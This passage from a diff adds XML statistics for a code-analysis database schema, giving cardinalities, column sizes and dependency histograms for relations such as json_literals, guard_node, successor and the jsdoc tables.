+<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>159178</v> +</b> +<b> +<a>2</a> +<b>7</b> +<v>251</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>158929</v> +</b> +<b> +<a>3</a> +<b>617635</b> +<v>500</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>158929</v> +</b> +<b> +<a>2</a> +<b>429145</b> +<v>500</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>511110</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>165121</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>69702</v> +</b> +<b> +<a>6</a> +<b>63547</b> +<v>22974</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>768907</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>562365</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>144455</v> +</b> +<b> +<a>3</a> +<b>10</b> +<v>58431</v> +</b> +<b> +<a>10</a> +<b>63547</b> +<v>3656</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>554379</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>185366</v> +</b> +<b> +<a>3</a> +<b>720</b> +<v>29162</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>json_literals</name> +<cardinality>1026146</cardinality> +<columnsizes> +<e> +<k>value</k> +<v>397229</v> +</e> +<e> +<k>raw</k> +<v>397431</v> +</e> +<e> +<k>expr</k> +<v>1026146</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>value</src> +<trg>raw</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>397027</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>202</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>expr</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>216149</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>128106</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>28217</v> +</b> +<b> +<a>5</a> +<b>63547</b> +<v>24757</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>raw</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>397431</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>raw</src> +<trg>expr</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>216237</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>128277</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>28205</v> +</b> +<b> +<a>5</a> +<b>63547</b> +<v>24712</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expr</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1026146</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>expr</src> +<trg>raw</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1026146</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>json_properties</name> +<cardinality>1186648</cardinality> +<columnsizes> +<e> +<k>obj</k> +<v>441238</v> +</e> +<e> +<k>property</k> +<v>2285</v> +</e> +<e> +<k>value</k> +<v>1186648</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>obj</src> +<trg>property</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>685</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>161803</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>272428</v> +</b> +<b> +<a>4</a> +<b>252</b> +<v>6322</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>obj</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>685</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>161803</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>272428</v> +</b> +<b> +<a>4</a> +<b>252</b> +<v>6322</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>property</src> +<trg>obj</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1378</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>371</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>199</v> +</b> +<b> +<a>4</a> +<b>17</b> +<v>174</v> +</b> +<b> +<a>18</a> +<b>429290</b> +<v>163</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>property</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1378</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>371</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>199</v> +</b> +<b> +<a>4</a> +<b>17</b> +<v>174</v> +</b> +<b> +<a>18</a> +<b>429290</b> +<v>163</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>obj</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1186648</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>property</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1186648</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>json_errors</name> +<key>id</key> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1</v> +</e> +<e> +<k>message</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>json_locations</name> +<cardinality>712</cardinality> +<columnsizes> +<e> +<k>locatable</k> +<v>712</v> +</e> +<e> +<k>location</k> +<v>712</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>locatable</src> +<trg>location</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>712</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>location</src> +<trg>locatable</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>712</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>hasLocation</name> +<cardinality>19213780</cardinality> +<columnsizes> +<e> +<k>locatable</k> +<v>19213780</v> +</e> +<e> +<k>location</k> +<v>15664049</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>locatable</src> +<trg>location</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19213780</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>location</src> +<trg>locatable</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>12144311</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3490097</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>29641</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>entry_cfg_node</name> +<key>id</key> +<cardinality>121542</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>121542</v> +</e> +<e> +<k>container</k> +<v>121542</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>container</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>121542</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>container</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>121542</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>exit_cfg_node</name> +<key>id</key> +<cardinality>121542</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>121542</v> +</e> +<e> +<k>container</k> +<v>121542</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>container</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>121542</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>container</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>121542</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>guard_node</name> +<cardinality>177785</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>177785</v> +</e> +<e> +<k>kind</k> +<v>2</v> +</e> +<e> +<k>test</k> +<v>91338</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>177785</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>test</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>177785</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>86336</a> +<b>86337</b> +<v>1</v> +</b> +<b> +<a>91449</a> +<b>91450</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>test</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>82430</a> +<b>82431</b> +<v>1</v> +</b> +<b> +<a>89999</a> +<b>90000</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>test</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10245</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>76994</v> +</b> +<b> +<a>3</a> +<b>21</b> +<v>4099</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>test</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>10247</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>81091</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>successor</name> +<cardinality>6873752</cardinality> +<columnsizes> +<e> +<k>pred</k> +<v>6717415</v> +</e> +<e> +<k>succ</k> +<v>6718602</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>pred</src> +<trg>succ</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6588118</v> +</b> +<b> +<a>2</a> +<b>21</b> +<v>129297</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>succ</src> +<trg>pred</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6617438</v> +</b> +<b> +<a>2</a> +<b>253</b> +<v>101164</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jsdoc</name> +<key>id</key> +<cardinality>19270</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>19270</v> +</e> +<e> +<k>description</k> +<v>9383</v> +</e> +<e> +<k>comment</k> +<v>19270</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>description</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19270</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>comment</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19270</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>description</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7588</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1387</v> +</b> +<b> +<a>3</a> +<b>5727</b> +<v>408</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>description</src> +<trg>comment</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7588</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1387</v> +</b> +<b> +<a>3</a> +<b>5727</b> +<v>408</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>comment</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19270</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>comment</src> +<trg>description</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19270</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jsdoc_tags</name> +<key>id</key> +<cardinality>29323</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>29323</v> +</e> +<e> +<k>title</k> +<v>92</v> +</e> +<e> +<k>parent</k> +<v>14226</v> +</e> +<e> +<k>idx</k> +<v>66</v> +</e> +<e> +<k>tostring</k> +<v>92</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>title</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>29323</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>29323</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>29323</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>29323</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>title</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>7</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>8</v> +</b> +<b> +<a>8</a> +<b>12</b> +<v>7</v> +</b> +<b> +<a>13</a> +<b>17</b> +<v>7</v> +</b> +<b> +<a>20</a> +<b>35</b> +<v>7</v> +</b> +<b> +<a>40</a> +<b>55</b> +<v>7</v> +</b> +<b> +<a>58</a> +<b>111</b> +<v>7</v> +</b> +<b> +<a>114</a> +<b>167</b> +<v>8</v> +</b> +<b> +<a>170</a> +<b>331</b> +<v>7</v> +</b> +<b> +<a>587</a> +<b>913</b> +<v>7</v> +</b> +<b> +<a>2221</a> +<b>10284</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>title</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>5</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>7</v> +</b> +<b> +<a>6</a> +<b>10</b> +<v>8</v> +</b> +<b> +<a>10</a> +<b>16</b> +<v>7</v> +</b> +<b> +<a>16</a> +<b>26</b> +<v>7</v> +</b> +<b> +<a>26</a> +<b>36</b> +<v>7</v> +</b> +<b> +<a>38</a> +<b>67</b> +<v>7</v> +</b> +<b> +<a>68</a> +<b>111</b> +<v>7</v> +</b> +<b> +<a>137</a> +<b>213</b> +<v>7</v> +</b> +<b> +<a>232</a> +<b>702</b> +<v>7</v> +</b> +<b> +<a>870</a> +<b>6020</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>title</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>35</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>7</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>8</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>8</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>5</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>4</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>8</v> +</b> +<b> +<a>10</a> +<b>31</b> +<v>7</v> +</b> +<b> +<a>46</a> +<b>59</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>title</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>92</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6064</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4452</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2064</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>913</v> +</b> +<b> +<a>5</a> +<b>67</b> +<v>733</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>title</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6972</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4911</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1793</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>550</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6064</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4452</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2064</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>913</v> +</b> +<b> +<a>5</a> +<b>67</b> +<v>733</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6972</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4911</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1793</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>550</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>29</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>6</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>5</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>6</v> +</b> +<b> +<a>7</a> +<b>11</b> +<v>5</v> +</b> +<b> +<a>11</a> +<b>53</b> +<v>5</v> +</b> +<b> +<a>89</a> +<b>1647</b> +<v>5</v> +</b> +<b> +<a>3710</a> +<b>14227</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>title</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>9</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>31</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>9</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>6</v> +</b> +<b> +<a>8</a> +<b>21</b> +<v>5</v> +</b> +<b> +<a>29</a> +<b>61</b> +<v>5</v> +</b> +<b> +<a>70</a> +<b>71</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>29</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>6</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>5</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>6</v> +</b> +<b> +<a>7</a> +<b>11</b> +<v>5</v> +</b> +<b> +<a>11</a> +<b>53</b> +<v>5</v> +</b> +<b> +<a>89</a> +<b>1647</b> +<v>5</v> +</b> +<b> +<a>3710</a> +<b>14227</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>9</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>31</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>9</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>6</v> +</b> +<b> +<a>8</a> +<b>21</b> +<v>5</v> +</b> +<b> +<a>29</a> +<b>61</b> +<v>5</v> +</b> +<b> +<a>70</a> +<b>71</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>7</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>8</v> +</b> +<b> +<a>8</a> +<b>12</b> +<v>7</v> +</b> +<b> +<a>13</a> +<b>17</b> +<v>7</v> +</b> +<b> +<a>20</a> +<b>35</b> +<v>7</v> +</b> +<b> +<a>40</a> +<b>55</b> +<v>7</v> +</b> +<b> +<a>58</a> +<b>111</b> +<v>7</v> +</b> +<b> +<a>114</a> +<b>167</b> +<v>8</v> +</b> +<b> +<a>170</a> +<b>331</b> +<v>7</v> +</b> +<b> +<a>587</a> +<b>913</b> +<v>7</v> +</b> +<b> +<a>2221</a> +<b>10284</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>title</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>92</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>5</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>7</v> +</b> +<b> +<a>6</a> +<b>10</b> +<v>8</v> +</b> +<b> +<a>10</a> +<b>16</b> +<v>7</v> +</b> +<b> +<a>16</a> +<b>26</b> +<v>7</v> +</b> +<b> +<a>26</a> +<b>36</b> +<v>7</v> +</b> +<b> +<a>38</a> +<b>67</b> +<v>7</v> +</b> +<b> +<a>68</a> +<b>111</b> +<v>7</v> +</b> +<b> +<a>137</a> +<b>213</b> +<v>7</v> +</b> +<b> +<a>232</a> +<b>702</b> +<v>7</v> +</b> +<b> +<a>870</a> +<b>6020</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>35</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>7</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>8</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>8</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>5</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>4</v> +</b> +<b> +<a>8</a> +<b>10</b> +<v>8</v> +</b> +<b> +<a>10</a> +<b>31</b> +<v>7</v> +</b> +<b> +<a>46</a> +<b>59</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jsdoc_tag_descriptions</name> +<cardinality>13676</cardinality> +<columnsizes> +<e> +<k>tag</k> +<v>13676</v> +</e> +<e> +<k>text</k> +<v>7866</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>tag</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>13676</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6089</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1025</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>596</v> +</b> +<b> +<a>8</a> +<b>459</b> +<v>156</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jsdoc_tag_names</name> +<cardinality>11506</cardinality> +<columnsizes> +<e> +<k>tag</k> +<v>11506</v> +</e> +<e> +<k>text</k> +<v>2647</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>tag</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11506</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1398</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>569</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>201</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>208</v> +</b> +<b> +<a>7</a> +<b>24</b> +<v>200</v> +</b> +<b> +<a>24</a> +<b>498</b> +<v>71</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jsdoc_type_exprs</name> +<key>id</key> +<cardinality>22481</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>22481</v> +</e> +<e> +<k>kind</k> +<v>15</v> +</e> +<e> +<k>parent</k> +<v>21039</v> +</e> +<e> +<k>idx</k> +<v>17</v> +</e> +<e> +<k>tostring</k> +<v>1447</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22481</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22481</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22481</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>22481</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>19</a> +<b>20</b> +<v>1</v> +</b> +<b> +<a>27</a> +<b>28</b> +<v>1</v> +</b> +<b> +<a>35</a> +<b>36</b> +<v>1</v> +</b> +<b> +<a>55</a> +<b>56</b> +<v>1</v> +</b> +<b> +<a>91</a> +<b>92</b> +<v>1</v> +</b> +<b> +<a>287</a> +<b>288</b> +<v>1</v> +</b> +<b> +<a>292</a> +<b>293</b> +<v>1</v> +</b> +<b> +<a>303</a> +<b>304</b> +<v>1</v> +</b> +<b> +<a>310</a> +<b>311</b> +<v>1</v> +</b> +<b> +<a>316</a> +<b>317</b> +<v>1</v> +</b> +<b> +<a>536</a> +<b>537</b> +<v>1</v> +</b> +<b> +<a>668</a> +<b>669</b> +<v>1</v> +</b> +<b> +<a>895</a> +<b>896</b> +<v>1</v> +</b> +<b> +<a>18639</a> +<b>18640</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>19</a> +<b>20</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> 